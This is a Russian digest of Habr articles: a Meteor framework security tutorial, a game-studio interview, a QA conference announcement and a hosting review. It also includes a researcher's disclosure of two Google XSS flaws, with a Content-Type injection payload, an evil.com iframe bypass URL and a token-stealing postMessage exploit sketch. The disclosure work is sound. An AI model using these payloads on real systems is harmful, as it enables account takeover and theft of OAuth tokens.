О безопасности в Meteor и не только (часть 1)

Для разработки приложений фреймворка Meteor существует некоторое число приемов и средств, предназначенных для обеспечения безопасности. В первой части мы поговорим о более известных вещах — скрытии серверной части кода, пакетах autopublish / insecure, скрытии полей коллекций при публикации и встроенной системе учетных записей, заглянув внутрь коллекции Meteor.users. Во второй — про loginToken, выдаваемый клиенту, правила allow/deny при модификации базы данных клиентом, доверенном и недоверенном коде, серверных методах, HTTPS, пакете force-ssl и пакете browser-policy (Content Security Policy и X-Frame-Options), встроенном механизме валидации данных (функция check() и пакет audit-arguments-check).

Все, описанное ниже, применимо к текущей версии Meteor 0.7.0.1 с установленным Meteorite. Кстати, если примеры этой статьи не будут работать в более новой версии Meteor, с помощью Meteorite примеры этой статьи также можно будет посмотреть, указав при запуске ключ —release:

$ mrt --release 0.7.0.1 

Скрытие серверной части кода

Начнем, пожалуй, с самого простого — разнесения клиентской и серверной частей кода. Хотя Meteor допускает совместное использование кода клиентом и сервером, делать так имеет смысл только при реальной необходимости. Кроме структурирования самого проекта, которое так или иначе понадобится по мере роста его объема, и сокращения объема данных, передаваемых клиенту, это позволяет скрыть код серверной части.
Подкаталоги server, client, client/compatibility, public, private, lib, tests (и файлы main.*) обрабатываются особым образом. Достаточно подробно это описано в документации: docs.meteor.com/#structuringyourapp. Для кода, выполняемого только на сервере предназначен каталог server, файлы из которого не передаются клиенту. Аналогичным образом, код из файлов в каталоге client не загружается на сервер.
Некоторая часть кода, как, например, объявления коллекций, должна быть доступна и клиенту и серверу. Такой код можно размещать в подкаталогах с любыми названиями, отличными от зарезервированных (также можно его разместить в lib, разница в том, что файлы из этого каталога загружаются раньше других).
В рамках этого примера мы будем размещать объявления коллекций в подкаталоге collections.
Создадим новое приложение:

$ mrt create littlesec 

И удалим автоматически созданные файлы:

$ cd littlesec $ rm littlesec.* 

Создадим подкаталоги server, client, collections. В collections добавим файл test.js с объявлением тестовой коллекции:

Test = new Meteor.Collection('test'); 

Собственно, проект уже можно запустить:

$ mrt  

И открыть в браузере: localhost:3000
Мы увидим только пустую страницу, но объект Test, пусть тоже пустой, уже будет доступен из консоли:

> Test.find().count()   0 

Добавим файл home.html в подкаталог client:

<head>   <title>littlesec</title> </head>  <body>   {{> home}} </body>  <template name="home">   {{#each test}}     <li>       <ul>_id:'{{_id}}' name:'{{name}}' value:'{{value}}'</ul>     </li>   {{else}}     <p>Collection Test is empty</p>   {{/each}} </template> 

И home.js:

Template.home.test = function() {   return Test.find({}); } 

В подкаталог server — файл startup.js:

 Meteor.startup(function(){   if (!Test.find({}).count()) {     var testValues = [       {name: 'First', value: 1},       {name: 'Second', value: 2},       {name: 'Third', value: 3}     ];     testValues.forEach( function(testValue) {       Test.insert(testValue);     });   } }); 

Теперь тестовая коллекция доступна как клиенту, так и серверу, причем код сервера клиенту не передается. Поле _id — идентификатор базы данных, автоматически генерируемые при вставке новой записи.

На данный момент коллекция доступна абсолютно всем как на чтение, так и на запись, что можно проверить из консоли:

> Test.findOne({}) 

И:

> Test.insert({name: 'Fourth', value: 4}) 

Убираем пакеты autopublish / insecure

Полный доступ к объявленной нами коллекции мы получили благодаря подключенным по умолчанию к проекту при создании пакетам autopublish и insecure. Первый из них «публикует» все существующие на сервере коллекции, второй — дает полные права на их изменения. Это существенно облегчает знакомство с Meteor и быстрое прототипирование, но, разумеется, неприемлемо в реальной жизни, поэтому:

$ mrt remove autopublish  $ mrt remove insecure 

Объект Test в браузере по-прежнему доступен, однако данных больше нет:

> Test.find().count()   0 

Теперь, чтобы в штатном режиме, без autopublish, клиент получил доступ к серверным данным, сервер их должен опубликовать, а клиент — подписаться.
Добавим в файл server/startup.js публикацию коллекции (ее можно поместить как вне функции, добавляемой Meteor.startup(), так и внутри неё; разница будет в моменте создания публикации — важно, чтобы к этому времени публикуемая коллекция уже существовала):

Meteor.publish('test', function() {     return Test.find();   } ); 

Если коллекцию опубликовать в то время, как пакет autopublish еще подключен к проекту, при старте Meteor будет выведено предупреждение об этом:

I20140131-11:36:07.343(4)? ** You've set up some data subscriptions with Meteor.publish(), but I20140131-11:36:07.388(4)? ** you still have autopublish turned on. <..> 

В файл client/home.js добавим соответствующую подписку:

Template.home.test = function() {   return Test.find({}); } 

Теперь данные в браузере опять появились, однако прав на их изменение больше нет:

> Test.insert({name: 'Fifth', value: 5})   "BDgB258TovmqS7YbY"   insert failed: Access denied  

Обратите внимание, что запись сначала вставляется в локальную коллекцию, возвращается ее идентификатор («BDgB258TovmqS7YbY»), и эта запись отображается в браузере, затем с сервера приходит уведомление об ошибке, и вставка в локальную коллекцию «откатывается». Отображение в браузере происходит благодаря механизму компенсации задержек, а ошибка появляется из-за проверки правил allow/deny (о них — чуть позже); без пакета insecure изменения по умолчанию запрещены.

Скрытие полей при публикации

Коллекцию не обязательно публиковать полностью. До сих пор отображались все поля из серверной коллекции. Можно, например, скрыть поле _id, это ограничит возможность манипуляции данными, так как со стороны клиента для изменении данных необходимо указывать идентификатор записи (см.также ограничение изменения данных по_id), либо другие поля, как, например, это реализовано в коллекции Meteor.users (см.ниже):

Meteor.publish('test', function() {     var projection = {_id: 0, value: 1};     return Test.find({}, {fields: projection} ); //    return Test.find();   } ); 

Скрыть поле _id таким образом, к сожалению, не получится — вероятно, оно используется для установления соответствия между серверной и локальной коллекциями. В текущей версии это приведет к ошибке, раньше просто возвращало пустую коллекцию.
Разумеется, на объеме передаваемых данных скрытие полей также скажется положительно.

Система учетных записей Meteor

Все сказанное выше применимо к неавторизованным пользователям. А какие возможности появляются, если пользователь авторизован?
Добавим к проекту поддержку системы учетных записей Meteor:

$ mrt add accounts-base $ mrt add accounts-ui $ mrt add accounts-google 

Кроме accounts-google есть официальные пакеты для целого ряда провайдеров авторизации, в их числе Facebook, Twitter, Github и другие. Неофициальными пакетами поддерживаются и другие провайдеры, например, Vkontakte.
Используем в home.html готовый шаблон кнопки авторизации пользователя:

{{loginButtons}} 

И currentUser для отображения информации о пользователе:

{{currentUser._id}} {{currentUser.profile.name}} 

И, воспользовавшись пошаговой инструкцией, которая будет выведена при первом нажатии на кнопку, зарегистрируем свое приложение в Google, после чего немедленно сможем авторизовать пользователя.
Добавим пакет для поддержки Facebook:

$ mrt add accounts-facebook 

Затем зарегистрируем второго пользователя.
Учетные записи хранятся в коллекции Meteor.users, но если в браузере мы обратимся к ней, увидим только один документ, хотя пользователей зарегистрировано уже два:

> Meteor.users.find().count()   1 

Дело в том, что по умолчанию (если отключен пакет autopublish — с ним клиенту доступна вся коллекция Meteor.users) у клиента есть доступ только к части полей своей собственной документа:

> Meteor.users.findOne()) {"_id":"8fLXBYpNGLqDwAahg","profile":{"name":"<Имя пользователя>"}} 

Этот же документ доступен через переменную Meteor.user, а его идентификатор — Meteor.userId()

> Meteor.user()   {"_id":"8fLXBYpNGLqDwAahg","profile":{"name":"<Имя пользователя>"}} 

Есть и соответствующий функция (helper) Handlebars currentUser, с помощью которого мы выводим информацию о текущем пользователе.

Если заглянуть в исходники пакета accounts-base, коллекция Meteor.users создается на сервере следующим образом:

Meteor.users = new Meteor.Collection("users", {_preventAutopublish: true});           

И публикуется так:

// Publish the current user's record to the client.                                                      Meteor.publish(null, function() {                                                                                     if (this.userId) {                                                                                                         return Meteor.users.find(                                {_id: this.userId},                                                                                               {fields: {profile: 1, username: 1, emails: 1}});                                                              } else {                                                                                                            return null;                                                                                                    }                                                                                                               }, /*suppress autopublish warning*/{is_auto: true}); 

Если пользователь авторизован, this.userId содержит его идентификатор, по которому из базы возвращается поддокумент profile, поле username и поддокумент emails (последние два не заполняются по умолчанию). В противном случае никакие данные не публикуются. Это значит, что авторизованному пользователю по умолчанию доступна только часть полей и только его собственного документа из базы.

Ссылка на изображение пользователя Google из социальной сети хранится в поддокументе services.google.picture, а получить доступ к изображению из Facebook можно, используя идентификатор services.facebook.id. Чтобы получить к ним доступ, их необходимо дополнительно опубликовать, например, так (добавим в server/startup.js):

Meteor.publish(null, function() {   if (this.userId) {     var projection = {       'services.google.picture': 1,       'services.facebook.id':    1,       'services.vk.photo':       1     };     return Meteor.users.find(       { _id: this.userId },       { fields: projection } );   } else {     return null;   } }); 

И ссылку на картинку — в home.html:

  {{#if currentUser.services.facebook}}     <img src="http://graph.facebook.com/{{currentUser.services.facebook.id}}/picture/?type=square"> <!-- small || normal || large || square -->   {{else}}{{#if currentUser.services.google}}     <img src={{currentUser.services.google.picture}}>   {{else}}{{#if currentUser.services.vk}}     <img src={{currentUser.services.vk.photo}}>   {{/if}}{{/if}}{{/if}} 

Выбранные поля теперь доступны клиенту:

> Meteor.users.findOne() {   "_id":"8fLXBYpNGLqDwAahg",   "profile": {      "name":"<Имя пользователя>"   },   "services": {     "facebook": {       "id": "100000783871952"     }   } } 

Вместо того, чтобы явно указывать поля, можно было опубликовать весь документ пользователя, задав projection = {} или поддокумент services, задав projection = { services: 1 }. Однако в этом случае клиент получит явно лишние для него данные, такие как accessToken или loginTokens.
При необходимости отображать информацию о других пользователях, можно опубликовать избранные поля всех документов коллекции, например, добавив к существующим публикациям еще одну:

Meteor.publish(null, function() {   var projection = {     'profile.name': 1   };   return Meteor.users.find(     { },     { fields: projection } ); }); 

Результатом будет объединение всех публикаций, и теперь всем пользователям, в том числе неавторизованным, доступны имена всех зарегистрированных пользователей, а текущему пользователю — дополнительные поля его документа:

Meteor.users.find().fetch() [   {     "_id":"8fLXBYpNGLqDwAahg",     "profile": {       "name":"<Имя пользователя>"     }   }, {     "_id":"kL7Fkuk29ci4vz8q4",     "profile": {       "name":"<Имя пользователя>"n"     },     "services": {       "google":{          "picture":"<ссылка на изображение>"       }     }   } ] 

ссылка на оригинал статьи http://habrahabr.ru/post/211002/

Две истории об уязвимостях в сервисах Google

История 1. О маленьком Content Type, который смог

Уязвимость была в сервисе под названием Feedburner. Сначала я создал фид и попробовал в него внедрить вредоносный код. Но на странице не появлялись внедренные данные — только безобидные ссылки. После нескольких безуспешных попыток я обнаружил множество сообщений на странице PodMedic. PodMedic просматривает каждую ссылку в фиде. Если была обнаружена проблема при создании вложения, PodMedic сообщает причину. В сообщениях говорилось, что ссылки некорректны: сервер отдает неправильный Content Type.

image

Хм. Хорошо. Бьюсь об заклад, что Content Type на этой странице не фильтруется. Простой скрипт для сервера:

<?php header('Content-Type: text/<img src=z onerror=alert(document.domain)>; charset=UTF-8'); ?>

И мы получили то, что хотели:

image

История 2. О маленьком Callback, который смог

Уязвимость в Feedburner не доставила — в ней не было ничего примечательного. Поэтому я сразу же продолжил поиски. Мое внимание привлек сервис APIs Explorer на developers.google.com. Это инструмент, который помогает интерактивно исследовать разные интерфейсы программирования Google. С его помощью можно просматривать API и их версии, доступные методы для каждого API, поддерживаемые параметры с сопроводительной документацией и многое другое. В действительности меня заинтересовала система кроссдоменного взаимодействия, основанная на postMessage. Ссылка на исследуемый Google API задается следующим образом:

https://developers.google.com/apis-explorer/?base=https://webapis-discovery.appspot.com/_ah/api#p/

Параметр Base фильтруется некоторыми регулярными выражениями (на самом деле, плохо фильтруется), которые легко обойти, используя символ %23:

https://developers.google.com/apis-explorer/?base=https://evil.com%23webapis-discovery.appspot.com/_ah/api#p/admin/reports_v1/

В результате создается iframe с параметром src=evil.com, ждем сообщения от него. Каждое сообщение должно содержать два токена. Первый токен содержится в window.name данного iframe, второй передается в location.hash. Я просмотрел, какие сообщения передаются от webapis-discovery.appspot.com/_ah/api, и написал страницу для передачи тех же сообщений с действующими токенами. Страница отрабатывала отлично, и я попробовал передать какие-нибудь HTML-данные для внедрения. Безуспешно. Я мог бы изменить текст, расположение изображений, но этого недостаточно для XSS. Также была возможность изменить ссылку на документацию. Мне удалось изменить ее на javascript:alert(document.domain):

image

Но и этого мне было недостаточно. Мне не понравилось, что для эксплуатации необходимо действие от пользователя. Пользователи никогда не делают то, что я хочу, — в данном случае не нажмут на ссылку 🙂 Поэтому я использовал страницу на developers.google.com с функцией Callback (сейчас почти все разработчики считают ее безопасной). Я добавил перенаправление на эту страницу с Callback вроде parent.links[0].click в мой эксплойт, после того как создалась ссылка на документацию с помощью postMessage. (Символы [] фильтровались. На самом деле, Callback был такой:

document.body.lastElementChild.previousSibling.lastElementChild.firstElementChild.firstElementChild.lastElementChild.firstElementChild.firstElementChild.firstElementChild.nextSibling.)

Пробуем:

image

Ура! Работает отлично и без взаимодействия с пользователем. Итак, эксплойт выглядел примерно следующим образом:

token_1 = location.hash.split('rpctoken=')[1];
token_2 = window.name;
send_payload(data,token_1,token_2);
window.setTimeout('document.location=callback_url;',3000); // Пауза из-за медленного интернет-соединения…

И конечно же, я сделал клевый скриншот:

image

Мне понравился этот метод эксплуатации. Я попробовал применить его в других сервисах, и мне удалось украсть токен OAuth пользователя, купить любое приложение в Google Play от его имени, используя пользовательские платежные данные, при этом купленное приложение автоматически устанавливалось на устройство пользователя.

Ребятам из Google Security Team эта техника тоже понравилась, и они описали ее на OWASP AppSec Eu, назвав ее Reverse Clickjacking.

Автор: Павел Топорков, Positive Research

ссылка на оригинал статьи http://habrahabr.ru/company/pt/blog/210952/

Интервью с Greenheart Games. Инди с характером

(Интервьюер: Марина virtualtomato, менеджер проектов в All Correct Localization)

imageНикто не будет спорить, что игры бывают разные. На одни тратят много денег, на другие — много времени. Одни оправдывают наши ожидания, а другие пылятся потом на полках. Одни мы ждем и берем штурмом магазины в первый день продаж. Другие очень ждем, но идут года, а их все нет. И я думаю, у каждого геймера найдется такая игра, которую он просто любит, пусть про нее и не говорят на каждом углу.

Три вечера 2013 года было мной отдано инди-игре Game Dev Tycoon. Это небольшой симулятор студии, разрабатывающей игры. Я с удовольствием прошла ее, и мне захотелось сказать ребятам, которые ее сделали, спасибо. Оказалось, что это был дебют студии Greenheart Games. Дебют — это всегда очень волнительно. Поэтому я подумала, что тем, кто делает сейчас свою первую игру, история такого, пусть и небольшого, но определенно успеха, может придать уверенности и сил завершить начатое. Да и я удовлетворю свое любопытство.

Ну, вот я и написала Greenheart свои вопросы. А они взяли и согласились на них ответить. Ниже мое интервью с основателем, директором и гейм-дизайнером Greenheart Games Патриком Клюгом.

О GDT

Марина: Патрик, ты можешь немного рассказать нам о своем геймерском опыте и о том, был ли у тебя какой-то опыт работы в игровой индустрии до основания собственной студии?

Патрик: Геймером я стал практически с самого детства. Я рос, наслаждаясь ASCII-играми вроде Castle. На моих глазах игры не раз эволюционировали. При этом, посвятив более 10 лет своей жизни профессиональной разработке программного обеспечения, к моменту создания Greenheart Games опыта работы в игровой индустрии я не имел вообще.

М: Почему вы решили начать карьеру с игры, которая фактически копирует другую популярную игру — Game Dev Story?

П: Игровое сообщество довольно четко делится на две группы: одна начинает мгновенно бросаться такими фразами, как «плагиат», «точная копия» или «клон», тогда как другая понимает, что «черпать вдохновение» в какой-либо игре — это не то же самое, что слепо ее копировать. По правде сказать, в индустрии существует немало игр-клонов, но Game Dev Tycoon к их числу не относится. При создании GDT мы действительно вдохновлялись Game Dev Story (подробно об этом можно прочитать на нашем сайте — на странице «О нас»), однако механика у нашего проекта совсем другая. Было бы глупо создавать симулятор игровой студии и не включить в него определенные функции. Пусть даже они и напоминают о Game Dev Story, наша игра, по сути, работает совершенно иначе. При создании GDT мы не изучали под лупой GDS. Все с точностью до наоборот — концепция игры была разработана нами с чистого листа. Именно ею мы и руководствовались на протяжении работы над Game Dev Tycoon. Игроки часто говорят, что им нравится наше восприятие жанра. Большинству тех, кто любит Game Dev Story, нравится Game Dev Tycoon, и наоборот.

image

М: Может, тогда Game Dev Story вдохновила тебя на создание собственной студии?

П: Не думаю, что именно GDS вдохновила меня стать разработчиком игр. Да, я провел за ней некоторое время, но это было еще до того, как я начал задумываться о возможности работы в этой индустрии. Решение сделать нашей первой игрой симулятор игровой студии пришла не сразу: мы рассматривали самые разные идеи, некоторые из которых были оригинальными, а некоторые оказались чем-то навеяны.

М: Хорошо, а как ты думаешь, ваша собственная игра может подтолкнуть кого-то на работу в индустрии игр?

П: Пожалуй, да. Думаю, что попробовав симулятор игрового разработчика, некоторые люди действительно могут начать работу над своими собственными играми. Нам всегда очень приятно наблюдать, как игроки решаются на этот шаг и начинают создавать модификации для нашей игры или даже абсолютно самостоятельные проекты.

М: Насколько ваша игра отражает реалии игрового рынка? Можно ли сказать, что если в Game Dev Tycoon у игрока все получается и все его релизы успешны, то он настолько хорошо разбирается в игровой индустрии, что мог бы с таким же успехом работать в разработке игр в реальной жизни?

П: Game Dev Tycoon — прежде всего игра. Ее нельзя назвать абсолютно реалистичным симулятором игровой студии, поэтому достигнутый в ней успех на самом деле значит не так уж много. С другой стороны, наш проект демонстрирует в благоприятном свете некоторые интересные аспекты разработки игр. К примеру, мы приложили немало усилий, пытаясь внедрить в игру механизмы, которые заставляют игрока в роли разработчика правильно расставлять приоритеты и при необходимости чем-то жертвовать. Мы считаем, что реализация этой задумки вышла довольно реалистичной (и уникальной для GDT как представителя конкретного жанра). Если в реальной жизни вы попытаетесь создать нечто совершенное, вас неизбежно ждет провал. В нашей игре все обстоит точно так же. В ней вам приходится принимать очень непростые решения. Пожалуй, самым забавным из прочитанных мной комментариев был следующий: «Поиграв в Game Dev Tycoon, я теперь знаю одно: чтобы начать разработку игры, нужно иметь в кармане 70 тысяч долларов». 70 тысяч — это размер стартового капитала в игре. Думаю, эта цифра не так уж далека от реальности (конечно, многое еще зависит от страны, в которой живет будущий разработчик). Новички всегда недооценивают объем работ и суммы, которые требуются для создания даже простых игр.

М: Сколько времени заняла у вас разработка игры от концепции до выхода первой версии?

П: Концепцию проекта в виде дизайн-документа мы с братом разрабатывали около полугода. Правда, занимались мы этим лишь в свободное время. После этого я более года работал над проектом вплотную. Даниэль тоже вложил в игру много часов своего времени, стараясь помогать мне при малейшей возможности. Кроме того, мы дополнительно нанимали нескольких специалистов для работы над анимацией и графикой. Игра потребовала от нас очень много усилий.

О ПИРАТСТВЕ

М: Когда мы обсуждали игру с моими друзьями, они говорили, что ее невозможно пройти, так как пираты крадут все твои прибыли. Я на тот момент еще не прошла кампанию, поэтому мне оставалось только предположить, что дальше по сюжету начнется «жара». Но когда я прочитала блог Greenheart и дошла до поста What happens when pirates play a game development simulator and then go bankrupt because of piracy?, то поняла, в чем дело. Вы не стали ждать пиратов, а сами сделали свою пиратскую версию и выложили ее на трекеры. Только версия эта была с «подвохом». В отличие от официальной версии, высокий уровень пиратства в «пиратской» версии препятствовал прохождению игры.  А все мои друзья как раз-таки скачали игру с трекеров, и только я одна купила ее в Steam. Должна сказать, то, что вы сделали, очень остроумно. И это лучший пример борьбы с пиратством, о котором я когда-либо слышала. Но вот вопрос, который не дает мне покоя. Это ваша первая игра, вы еще не успели сильно пострадать от действий пиратов. Так почему же вы сразу так четко обозначили свою позицию? Когда пираты успели вас так достать?

П: Опыт с выпуском «пиратской версии» был для нас чистой воды экспериментом. В первую очередь мы хотели выяснить, сколько человек будет ее использовать. Осознав, что единственный способ это узнать — самим выпустить такую версию, мы не могли побороть соблазн сыграть пиратов.

Полученные в первый день результаты можно увидеть в соответствующем сообщении, размещенном в нашем блоге. Если честно, мы были просто шокированы масштабом распространения пиратской версии в день запуска. Последовавшая затем буря в средствах массовой информации нас немало удивила. Мы ей очень благодарны: во-первых, она привлекла еще больше внимания к проблеме пиратства, а во-вторых, о нашей игре узнало намного больше людей, чем прежде. При этом очень многие из них решили поддержать наш проект.

М: Есть ли, на ваш взгляд, какая-то стратегия для независимых разработчиков, которая позволит им снизить ущерб от пиратства?

Похоже, реально действенных стратегий совсем немного — нужно разрабатывать либо чисто многопользовательскую игру, требующую постоянного подключения к сети (при этом ее серверы должны быть у вас постоянно под контролем), либо использовать freemium-модель «pay-to-win». Если честно, последний вариант нам глубоко отвратителен. Игры все же должны быть чем-то бòльшим, нежели просто приукрашенными «однорукими бандитами», требующими от вас все новых и новых виртуальных монет. Greenheart Games никогда не будет использовать такую модель. С другой стороны, сетевые проекты с постоянным подключением к сети — вроде бы неплохая альтернатива, но, к сожалению, по мере их распространения с рынка будут вытесняться традиционные однопользовательские/offline-игры, а лично нам они гораздо ближе по духу.

FREE-TO-PLAY

М: То есть к Free-to-Play проектам и распространению микротранзакций в играх ты относишься резко отрицательно?

П: Многие из пиратов не понимают, что их «деятельность» оказывает большое влияние на индустрию и является главной причиной появления игр в стиле «pay-to-win», работающих по freemium-механике. Лично я всем сердцем ненавижу подобные игры. Greenheart Game никогда не станет прибегать к подобной модели, однако, если смотреть с позиции прибыльности, она, к сожалению, оказывается очень эффективной.

STEAM

М: Расскажи о своем опыте выхода на Steam? Легко ли это? Можешь вкратце описать процедуру для независимых разработчиков?

П: В Steam постоянно происходят какие-то перемены, поэтому наш опыт уже отличается от того, который приобретают разработчики, работающие с этой системой сегодня. Кроме того, в заявлении Valve было сказано, что компания планирует избавиться от механизма Greenlight (позволяющего игрокам голосовать за добавление игр в каталог Steam).

Для нас лично Steam открыл большие перспективы и продолжает их открывать  — ведь в мире на самом деле очень много людей, честно покупающих игры.

О ЛОКАЛИЗАЦИИ

М: В работе над локализацией вы использовали коллективный перевод — crowdsourcing. И насколько я могу видеть, у вас было довольно четкое представление о локализации как процессе. Мне понравилось, что у вас были:

  • система управления переводом — weblate.org;
  • некие требования к потенциальным волонтерам: они обязательно должны хорошо знать игру, быть геймерами, разбираться в играх и любить их;
  • переводчики носители языка.

Перед тем как принять решение о фанатском переводе, рассматривали ли вы какие-то другие альтернативы? И почему в конце концов вы остановились на crowdsourcing’е?

П: Я сам являюсь носителем немецкого и прекрасно понимаю, насколько важно (и при этом сложно) сделать хороший перевод. Из своего предыдущего опыта в индустрии я знал, что работать с профессиональными переводчиками, которые получают деньги за свою работу, очень непросто. Очень часто их энтузиазм и знания о продукте, над которым они работают, сильно уступают тем, которые демонстрируют фанаты. Именно поэтому мы и решили привлечь к проекту работников-добровольцев. Конечно, такой подход сам по себе не гарантирует качественного перевода — когда над ним работает много людей, последовательность и согласованность сохранить очень сложно. Для того чтобы получить в такой ситуации текст хорошего качества, нужно использовать очень сильных посредников. Работы над такого рода системой контроля качества мы пока еще не закончили.

М: Были ли у вас какие-то неразрешимые проблемы с локализацией? Вопросы, которые ставили вас в тупик? Если бы, допустим, была возможность бесплатно проконсультироваться с профессионалами, воспользовались бы вы ей?

П: Мы пока еще экспериментируем с языками, в которых слова пишутся и читаются справа налево, вроде арабского. Кроме того, у нас возникают постоянные проблемы с родами, которых нет в английском оригинале. Особенно остро они встают при переводе тех фрагментов текста, где род должен меняться в зависимости от пола игрока. Эти места сложно правильно идентифицировать, и пока что мы решили прибегнуть в этом вопросе к определенным компромиссам. Я был бы очень рад узнать от своих коллег об их опыте в решении подобных проблем. Правда, я сомневаюсь, что здесь может найтись какая-то панацея, какое-то идеальное решение.

image 

М: Я считаю, что наличие локализованных версий — это проявление уважения к своим фанатам. И вы большие молодцы, что сделали все, что могли, чтобы геймеры со всех уголков мира могли наслаждаться вашей игрой, независимо от того, знают они английский или нет. Я всегда предпочитаю играть в русскую версию, если только локализация не отвратительна.

В России очень сильна традиция фанатского перевода, так как на протяжении очень долгого времени нашу страну просто обходили стороной в плане официальных локализаций: небольшой рынок, высокий уровень пиратства. Сейчас ситуация меняется в лучшую сторону. Многие считают Россию важным рынком и переводят игры на русский язык. И для небольших студий crowdsourcing — это выход. Но даже самые хорошие фанатские локализации в конечном счете содержат много недостатков. Самые распространенные — это неграмотный русский язык, калькирование английских конструкций, неумение работать с переменными и тегами, а еще 99 % переводчиков просто забывают о том, что девочки тоже играют в игры, поэтому в фанатских локализациях почти всегда используется обращение к игроку-мужчине (в английском с этим обычно нет проблем, но в русском языке это то, с чем нам приходится работать в каждой игре). Может быть, я слишком капризна, но меня раздражает, когда игра думает, что я мужик 🙂

Так вот, меня беспокоит, что фанатский перевод прививает игрокам плохой вкус к локализации, искажает их представление о том, что хорошо, а что плохо. В конце концов, отрицательно сказывается на грамотности геймеров. Вы когда-нибудь думали об этом в таком ключе и считаете ли вы, что это действительно проблема? Или, может быть, когда мы говорим об играх, то это не так важно, главное, чтобы пользователь понимал свои задачи в игре?

П: Да, я согласен с тем, что такая проблема существует. Одна из моих любимых игр — Anno 1602 (самая первая в серии Anno). Наверняка лишь очень немногие знают, что она была создана на моей родине (в Австрии) и поэтому изначально была на немецком языке. Пожалуй, эта игра стала первой из тех, что порадовали меня первоклассными германоязычными текстами — до этого я никогда не встречал ничего подобного. Anno 1602 изобилует яркими выражениями и красивыми предложениями, которые на полную используют возможности немецкого языка. Для того чтобы обеспечить подобное качество текста в переводе, потребуется работа переводчика мирового класса.

Безусловно, в создание хорошего перевода необходимо вложить массу усилий. Кроме того, для этого потребуется отличная команда. Проблема с использованием услуг профессиональных переводчиков состоит в том, что вам обязательно нужен специалист высшего уровня (возможно, тот, кто раньше занимался переводом книг), работа которого стоит очень дорого. Кроме того (и это не менее важно) найти таких людей, а затем контролировать их работу очень сложно. На сегодняшний день я считаю неплохим компромиссом сочетание услуг добровольцев со строгим контролем качества. При этом я понимаю, что качественный перевод требует немалых усилий, а также пристального внимания. В конечном счете, нам прекрасно известно, что текущая русскоязычная версия является компромиссной и требует доработки.

ПРИМЕР ДЛЯ ПОДРАЖАНИЯ

М: Есть ли на сегодняшний момент студия, политика которой импонирует вам больше всего? Есть ли пример для подражания?

П: Существует очень много компаний, с которых мы можем брать пример того, как НЕ НУЖНО что-либо делать. Я имею в виду тех, кто концентрируется на создании насквозь монетизированных игр или проводит бесконечные акции с «ранним доступом». Примеров и тех и других сейчас более чем достаточно. С другой стороны, в последнее время появилось немало новичков, которые работают над отличными проектами. Один из них — Тинан Сильвестр, создатель RimWorld. Во-первых, его книга об игровом дизайне — настоящий шедевр (очень рекомендую ее почитать). Во-вторых, он отказался от заманчивой перспективы постоянных «новых обещаний», которой манит Kickstarter. Сильвестр не ставил заранее десятков сверхплановых целей, сохранив тем самым полную свободу разработки. Я очень уважаю такой подход и не сомневаюсь в том, что игру ждет большой успех.

О ПЛАНАХ НА БУДУЩЕЕ

М: Вы собираетесь развивать текущий проект или вы уже работаете над следующей игрой?

П: Мы очень хотим поскорее начать работу над новым проектом, но при этом Game Dev Tycoon без внимания тоже не оставим. Новые функции и дополнения для игры вряд ли появятся, а вот перевод на другие языки обязательно будет улучшен. Кроме того, мы постараемся сделать все возможное, чтобы помочь потрясающему сообществу игроков, занимающемуся модификациями для нашей игры.

ссылка на оригинал статьи http://habrahabr.ru/company/allcorrect/blog/210998/

LoveQA. Первая мини-конференция Badoo для тестировщиков

Весь прошлый год мы много писали на Хабр и рассказывали на конференциях о том, как у нас устроен процесс тестирования в Badoo, как мы выкатываем релизы два раза в день и о многом другом.

Этот год мы решили начать со своей небольшой мини конференции — LoveQA, на которую хотели бы позвать специалистов, которым интересно послушать про автоматизацию тестирования, тестирование мобильных приложений и безопасность. Нам тоже было бы интересно пообщаться с коллегами из других компаний, ответить на вопросы и узнать как устроено тестирование у них.

Кроме презентаций, которые вы уже могли слышать на конференциях, мы подготовили для вас несколько совершенно новых докладов.
Мы хотим сделать небольшую уютную конференцию, и позвать примерно 120 человек.
В программе интересные доклады, кофебрейк и обед, экскурсия по офису Badoo.
Будем делать трансляцию и видеозапись докладов. Следите за новостями по хэштегу: #loveqa

LoveQA — Meet New People! Посидим, пообщаемся.

Когда: 15 февраля, суббота

Где: Офис компании Badoo, Цветной бульвар д.2, БЦ «Легенды Цветного», Москва


Программа конференции:

10-30 – 11-00 — Welcome-кофе

11-00 – 11-10 — Вступительное слово

11-10 – 11-55 — «Есть ли жизнь после релиза? Наш опыт тестирования мобильных приложений».
Александр Хозя & Николай Козлов

12-00 – 12-45 — «Continuous delivery в крупном интернет проекте»
Владислав Чернов

12-50 – 13-35 — «AIDA. Эволюция автоматизации работы с Git, JIRA и TeamCity»
Александр Ильин & Олег Оямяэ

13-40 – 14-40 — Обед. Экскурсия по офису Badoo (для первой группы)

14-40 – 15-25 — “Selenium тесты. От RC и одного пользователя к WebDriver, Page Object и пулу пользователей”.
Виталий Котов

15-30 – 16-15 — «Как мы разгоняли тесты — от баш-скриптов до облака»
Илья Кудинов

16-20 – 17-05 — «Системы обнаружения уязвимостей в веб приложении на примере Badoo»
Станислав Еремин

17-10 – экскурсия по офису для тех, кто дожил до конца

Внимание: у нас есть слот для одного доклада. И если вы работаете в компании, в которой с нуля построен процесс тестирования и вам есть о чем рассказать – мы будем рады вас послушать. Просто напишите нам про это на daria () corp.badoo.com

При регистрации напишите, пожалуйста, пару слов о себе — нам интересно понимать кто к нам придет. И это поможет сделать доклады более интересными для вас.

ЗАРЕГИСТРИРОВАТЬСЯ

До встречи на LoveQA!

ссылка на оригинал статьи http://habrahabr.ru/company/badoo/blog/210990/

Обзор выделенных серверов Kimsufi и SoYouStart

Год назад вышла статья, которая подвигла меня приобрести сервер в Kimsufi – это подразделение крупного французского хостера OVH, специализирующееся на дешёвых серверах, зачастую на старом железе (есть процессоры ’08-09-х годов). Сервер оказался неплохим, недорого стоил, и вообще мне всё понравилось. Примерно в то же время на хабре было несколько статей про Proxmox, и именно его я туда и поставил (благо что Proxmox был в стандартном выборе хостера при установке), чем весьма доволен. Но сегодняшняя статья не про это.

После нескольких месяцев использования заказанного сервера, я порекомендовал Kimsufi своему другу, и с удивлением обнаружил, что, по обновлённому соглашению, пользоваться серверами могут только граждане Евросоюза.

И вот, с нового года, OVH запустил новый сайт для продаж дешёвых выделенных серверов – SoYouStart.com, а также снова открыл возможность всем регистрироваться на Kimsufi.com, да к тому же, последний стал доступен на русском языке!

Под катом – обзор новых предложений серверов от OVH –новый SoYouStart и обновлённый Kimsufi – выделенные серверы от 8 евро в месяц.

Итак, два новых предложения от OVH — Kimsufi и SoYouStart.

